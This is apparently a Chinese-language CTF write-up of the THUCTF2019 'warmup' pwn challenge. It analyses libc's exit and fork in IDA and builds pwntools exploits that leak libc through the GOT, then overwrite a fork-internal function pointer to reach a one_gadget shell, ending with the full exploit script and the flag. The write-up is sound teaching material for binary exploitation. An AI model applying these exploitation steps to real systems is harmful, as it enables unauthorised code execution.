清华校赛THUCTF2019 之 warmup

题目地址:nc warmup.game.redbud.info 20002

题目提示:fork, fork, fork

题目文件:https://xuanxuanblingbling.github.io/assets/pwn/warmup

检查保护

首先是检查文件和检查保护,可见是没去符号的64位的ELF文件,GOT表不可写,栈不可执行:

➜   file warmup 
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=f3148cd6d2c5c9fabf36ec3a7f251f9e02bd7abb, not stripped
➜   checksec warmup 
[*] '/Users/Desktop/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

任意地址读写

ida64打开,f5看main函数结果中有错误提示,并且init函数参数有红色提示,点进init函数再回到main函数中错误消失,main函数逻辑如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  memset(&s, 0, 8uLL);
  write(1, "What do you want to know:\n", 0x1AuLL);
  read(0, &s, 8uLL);                                // 输入8个字节到栈上的变量s
  write(1, "and here it is: ", 0x10uLL);
  write(1, s, 8uLL);                                // 获得以输入8个字节(s变量)为地址处的8个字节
  write(1, "\n", 1uLL);
  write(1, "What do you wanna say to Zhou Qi?\n", 0x22uLL);
  read(0, &ptr, 0x40uLL);                           // 输入0x40个字节到bss段上
  memset(&s, 0, 8uLL);                              // 栈上的s变量清空
  write(1, "Now you can change the world!\n", 0x1EuLL);
  read(0, &s, 8uLL);                                // 输入8个字节到栈上的变量s
  read(0, (void *)s, 8uLL);                         // 向以输入8个字节(s变量)为地址处的内存写入8个字节
  if ( fork() )
  {
    write(1, "Is there a race?\n", 0x11uLL);
    exit(0);
  }
  write(1, "ziiiro will give you one chance:)\n", 0x21uLL);
  read(0, &s, 0x50uLL);
  exit(0);
}

所以我们当前的能力就是:

  • 一次任意地址读8个字节
  • 一次任意地址写8个字节

故这道题并不是说考察发现漏洞的能力,而是有了以上两种能力后如何利用?如何劫持程序流?当然并不是劫持完程序流就万事大吉啦,如果不能劫持到自己的shellcode,那就还要去调用函数还要布置栈或者控制寄存器。不过单说劫持程序流这事,超哥课上讲的,一般可以动手的地方有如下三处:

  • 间接跳转(jmp和call的间接跳转,如函数指针的调用,GOT表等)
  • 栈上的返回地址
  • 异常处理函数

其实我觉得,异常处理函数也应该算作间接跳转,因为也应该是call一个函数指针,所以当我们动不了栈时,就应该找接下来的地方有哪些可以控制的间接跳转的地址。我做pwn题还少,就仅仅知道写GOT表和.fini_array,这道题GOT表不可写,main函数也没有return,所以.fini_array段的函数也不会执行,哪还有那些间接跳转可利用呢?

说说libc的那些函数

以下的wp都提到了exit函数,那我们就以exit函数为例:

以上大概说的是,libc的exit函数的某种利用方式,也就是说,在libc的某些函数里,存在着一些函数指针的调用,如果我们能修改这些函数指针,那么当调用这些libc的函数时,程序也可以被劫持。那么这些libc的函数里会不会有函数指针的调用呢?如果有这些函数指针放在哪呢?可以修改么?这个问题可以通过阅读分析libc的源码得知:

如何分析libc的源码呢,网友都是一带而过,分析出exit里存在函数指针:

 RUN_HOOK (__libc_atexit, ());

我整个libc的源码里都没搜到__libc_atexit这个函数指针在哪定义的,也看不出这个函数指针放在哪,是否能修改。RUN_HOOK这个方法本身也是个复杂的宏定义,所以我觉得在源码层面,编码者有很多编码技巧,而这些技巧会阻碍我们理解程序真正的运行方法,所以我目前的思路是直接用IDA F5后的结果看这些libc函数,我觉得看着比源码清楚,因为如果是函数指针,IDA就会注释出来相应的函数原型,而且也直接能看到变量后会跟括号进行调用。比如__libc_atexit这个函数指针,在IDA中打开libc.so,这里我用的是一个64位的libc-2.23.so,找到exit函数,进入可以看到这函数:

void __fastcall __noreturn sub_39F10(int status, unsigned __int64 a2, char a3)
{
  char v3; // r12
  _QWORD **v4; // rbp
  _QWORD *v5; // r13
  __int64 v6; // rax
  signed __int64 v7; // rdx
  signed __int64 *v8; // rcx
  bool v9; // zf
  void (**v10)(void); // rbp
  signed __int64 v11; // rax

  v3 = a3;
  v4 = (_QWORD **)a2;
  _call_tls_dtors();
  while ( 1 )
  {
    v5 = *v4;
    if ( !*v4 )
    {
LABEL_9:
      if ( v3 )
      {
        v10 = (void (**)(void))off_3C08D8;
        if ( off_3C08D8 < off_3C08E0 )
        {
          do
          {
            (*v10)();

可以看到ida对v10的注释就是一个函数指针,而且可以发现这个while循环里调用了v10这个函数指针指向的函数,这个循环就是RUN_HOOK这个宏定义。v8本身是一个固定的地址即0x3C08D8,在IDA中点进去这个地址即可看到如下:

__libc_atexit:00000000003C08D8 ; Segment type: Pure data
__libc_atexit:00000000003C08D8 ; Segment permissions: Read/Write
__libc_atexit:00000000003C08D8 ; Segment alignment 'qword' can not be represented in assembly
__libc_atexit:00000000003C08D8 __libc_atexit   segment para public 'DATA' use64
__libc_atexit:00000000003C08D8                 assume cs:__libc_atexit
__libc_atexit:00000000003C08D8                 ;org 3C08D8h
__libc_atexit:00000000003C08D8 off_3C08D8      dq offset fcloseall_0   ; DATA XREF: sub_39F10+75o
__libc_atexit:00000000003C08D8                                         ; __libc_freeres+15o
__libc_atexit:00000000003C08D8 __libc_atexit   ends

这函数指针在libc中是固定的一个段,也就是位置是固定的,而且看起来可以写。所以我们通过用IDA分析libc中exit函数,看似已经知道了:

  1. 有函数指针
  2. 函数指针位置固定,在libc偏移0x3C08D8
  3. 这个位置可写

但是我在我的ubuntu16.04上实际测试这段,并不可写。而在从TokyoWesterns 2019一道题谈谈在exit中的利用机会这篇文章中,说的就是这个段,是可写的,这是为什么呢?有人解释是需要ubuntu19的环境,而且可以看出,题目的地址和我们分析的地址偏移并不一样。

不过segment和section的对应权限关系我现在也还是没太明白。之后补充。

fork函数

本题的提示是fork,那fork函数中有没有可以用的函数指针呢?我们一样采取利用IDA分析:

signed __int64 fork()
{
  unsigned int v0; // er14
  __int64 v1; // r12
  signed __int32 v2; // eax
  unsigned __int64 i; // r13
  void (*v4)(void); // rax
  _QWORD *v5; // rax
  _QWORD *v6; // rbx
  unsigned int v7; // er12
  unsigned int v8; // er8
  signed __int64 v9; // rdx
  signed __int64 v10; // rsi
  __int64 v16; // rdi
  void (__fastcall *v17)(__int64, signed __int64, signed __int64); // rax
  char v21; // [rsp+1h] [rbp-41h]
  int v22; // [rsp+12h] [rbp-30h]

  v0 = __readfsdword(0x18u);
  do
  {
    v1 = qword_3C9748;
    if ( !qword_3C9748 )
    {
      v6 = 0LL;
      goto LABEL_12;
    }
    _InterlockedOr(&v22, 0);
    v2 = *(_DWORD *)(v1 + 40);
  }
  while ( !v2 || v2 != _InterlockedCompareExchange((volatile signed __int32 *)(qword_3C9748 + 40), v2 + 1, v2) );
  for ( i = 0LL; ; i = (unsigned __int64)&v21 & 0xFFFFFFFFFFFFFFF0LL )
  {
    v4 = *(void (**)(void))(v1 + 8);
    if ( v4 )
      v4();

其实通过IDA给出的局部变量的注释就能看出,这里有v4,v17两个个函数指针,首先看v4,去掉注释后:

void (*v4)(void); // rax
v4 = *(v1 + 8);

即v4是v1+8这个指针指向的内存处的8个字节(rax),这8个字节指向的函数地址,即可被调用,我们看一下v1

v1 = qword_3C9748;

v1是0x3C9748内存处的值,这里和刚才exit的v10进行区分:

v10 = (void (**)(void))off_3C08D8

v1的IDA标注是dword,是内存。v10的标注是off,是地址偏移。故v4是qword_3C9748这个指针指向的地址处的值加8的内存的值,调用v4的时候是v4(),那我们就去看一下位于0x3C9748内存:

.bss:00000000003C9748 qword_3C9748    dq ?                    ; DATA XREF: fork:loc_CC360r
.bss:00000000003C9748                                         ; fork+3Ar ...
.bss:00000000003C9750                 public __rcmd_errstr
.bss:00000000003C9750 __rcmd_errstr   db    ? ;               ; DATA XREF: LOAD:0000000000004F50o
.bss:00000000003C9750                                         ; .got:__rcmd_errstr_ptro
.bss:00000000003C9751                 db    ? ;
.bss:00000000003C9752                 db    ? ;
.bss:00000000003C9753                 db    ? ;
.bss:00000000003C9754                 db    ? ;
.bss:00000000003C9755                 db    ? ;
.bss:00000000003C9756                 db    ? ;
.bss:00000000003C9757                 db    ? ;

所以,就是让0x3C9748这个地址处的的8个字节是指向一个可以控制内存处的指针,这个内存的偏移8个字节的值为要控制的函数地址,即:

*(*(0x3C9748)+8)=&shellcode()

但是注意,fork函数再调用v4这个函数指针之前还有一个while循环也跟qword_3C9748这个指针指向的内存有关,这里还要想办法控制跳出那个循环。

利用

所以利用方式大概清楚了,理由一次任意地址读8个字节,泄露got表内容,从而获得libc基址。然后利用一次任意地址写8个字节,修改fork函数中的那个指针。这道题存在一个对周琦说的话,可以控制bss段的0x40个字节的内容,所以把fork函数的指针指向这即可。

泄露libc基址

如何泄露libc的基址呢,可以通过泄露一个GOT表中的函数地址,然后根据这个函数地址后三位,即可确定libc的版本和这个函数在libc中的偏移,因为libc的地址在加载过程中随机化的时候是是按照4K对齐的,所以最后12个bit是不变的,而且不同版本的同一个函数的偏移可能是不同的,所以可以根据这个特性来判断libc是什么版本。一旦确定了libc的版本,也就确定了libc的基址。这里泄露write函数:


from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")
io = remote("warmup.game.redbud.info",20002)
got_write = myelf.got['write']

io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")
leak_write = u64(io.recv(8))

print hex(leak_write)

结果是:0x7f3ef43202b0,最后三位是2b0,拿到了这个结果,然后怎么知道是那个libc呢?

这里采用search-libc的那个docker:

docker pull blukat29/libc
docker run -p 8080:80 -d blukat29/libc

大概这么用

image

然后就能获得libc的版本libc6_2.23-0ubuntu10_amd64,以及write函数的偏移:0x0f72b0,然后可以去网上找到对应的libc然后下载:

LibcSearcher

下载完以后可以看看有没有可以用的one_gadget:

➜  one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

所以泄露除了libc的基址,也就有有了可用的one_gadget的地址,也就知道了0x3C9748的真正位置,所以现在只要控制好周琦的那段bss段即可。

修改函数指针

然我们尝试一下是否能劫持程序流:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")

#io = remote("warmup.game.redbud.info",20002)

io = process(myelf.path)
gdb.attach(io,"b * 0x400865")

got_write = myelf.got['write']
ptr = myelf.symbols['ptr']

io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")

leak_write = u64(io.recv(8))
libc_base  = leak_write - 0x0f72b0
v1  = libc_base + 0x3C9748

io.recv()
io.send("\x00"*8+p64(0xdeadbeef))
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()

调试发现进入fork之后就会一直循环,猜测跟这句有关:

_InterlockedCompareExchange((volatile signed __int32 *)(qword_3C9748 + 40), v2 + 1, v2) );

随便在payload后面加了40个字节:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")

#io = remote("warmup.game.redbud.info",20002)

io = process(myelf.path)
gdb.attach(io,"b * 0x400865")

got_write = myelf.got['write']
ptr = myelf.symbols['ptr']

io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")

leak_write = u64(io.recv(8))
libc_base  = leak_write - 0x0f72b0
v1  = libc_base + 0x3C9748

io.recv()
io.send("\x00"*8+p64(0xdeadbeef)+'a'*40)
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()

然后进入调试,按两次c,即可发现rip断到deadbeef上,成功劫持程序流

完整exp

替换deadbeef为一个可用的one_gadget:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./warmup")

io = remote("warmup.game.redbud.info",20002)

#io = process(myelf.path)
#gdb.attach(io,"b * 0x400865")

got_write = myelf.got['write']
ptr = myelf.symbols['ptr']

io.recv()
io.send(p64(got_write))
io.recvuntil("is: ")

leak_write = u64(io.recv(8))
libc_base  = leak_write - 0x0f72b0
v1  = libc_base + 0x3C9748
one_gadget = libc_base + 0x4526a

io.recv()
io.send("\x00"*8+p64(one_gadget)+'a'*40)
io.recv()
io.send(p64(v1))
io.send(p64(ptr))
io.interactive()

flag: THUCTF{F0rk_1s_e2sy}